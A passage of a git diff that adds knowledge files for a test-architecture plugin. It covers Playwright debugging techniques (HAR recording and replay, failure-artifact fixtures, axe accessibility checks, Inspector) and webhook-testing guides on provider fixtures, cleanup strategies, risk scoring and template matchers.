+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
